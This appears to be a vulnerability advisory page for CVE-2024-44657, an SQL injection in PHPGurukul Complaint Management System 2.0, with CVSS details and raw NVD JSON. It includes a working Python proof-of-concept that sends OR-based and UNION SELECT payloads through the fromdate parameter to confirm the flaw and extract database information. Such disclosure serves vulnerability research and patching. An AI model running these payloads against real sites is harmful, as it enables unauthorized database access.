Security Vulnerability Report
中文
CVE-2024-44657 CVSS 6.5 MEDIUM

CVE-2024-44657

Published: 2025-11-17 18:15:56
Last Modified: 2025-11-19 13:09:19

Description

PHPGurukul Complaint Management System 2.0 is vulnerable to SQL Injection via the fromdate and todate parameters in between-date-userreport.php.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:complaint_management_system:2.0:*:*:*:-:*:*:* - VULNERABLE
PHPGurukul Complaint Management System 2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2024-44657 SQL Injection PoC # Target: PHPGurukul Complaint Management System 2.0 # Endpoint: between-date-userreport.php # Vulnerable Parameter: fromdate, todate def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in date parameters """ # Construct malicious URL with SQL injection payload params = { 'fromdate': payload, 'todate': '2024-12-31' } try: response = requests.get(target_url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_basic_injection(target_url): """ Test basic SQL injection with OR condition """ # Basic payload to verify vulnerability payload = "' OR '1'='1" print(f"[*] Testing basic SQL injection...") result = exploit_sql_injection(target_url, payload) if result and 'error' not in result.lower(): print("[+] Vulnerability confirmed!") return True return False def extract_database_info(target_url): """ Extract database version and name using UNION injection """ # UNION-based injection to get database info payload = "' UNION SELECT 1,2,version(),4,database(),6,7,8,9,10,11,12,13,14,15 --" print(f"[*] Extracting database information...") result = exploit_sql_injection(target_url, payload) if result: print("[+] Database info extracted successfully") return result def main(): if len(sys.argv) < 2: print("Usage: python cve-2024-44657.py <target_url>") print("Example: python cve-2024-44657.py http://target.com/between-date-userreport.php") sys.exit(1) target_url = sys.argv[1] print(f"[*] Target: {target_url}") print(f"[*] Vulnerability: CVE-2024-44657 SQL Injection") if test_basic_injection(target_url): extract_database_info(target_url) else: print("[-] Vulnerability test failed or target not vulnerable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44657", "sourceIdentifier": "[email protected]", "published": "2025-11-17T18:15:55.737", "lastModified": "2025-11-19T13:09:19.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Complaint Management System 2.0 is vulnerable to SQL Injection via the fromdate and todate parameters in between-date-userreport.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:complaint_management_system:2.0:*:*:*:-:*:*:*", "matchCriteriaId": "8C6D9515-0DC3-4727-B5B5-2E6C34362BF7"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44657.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/complaint-management-sytem", "source": "[email protected]", "tags": ["Product"]}]}}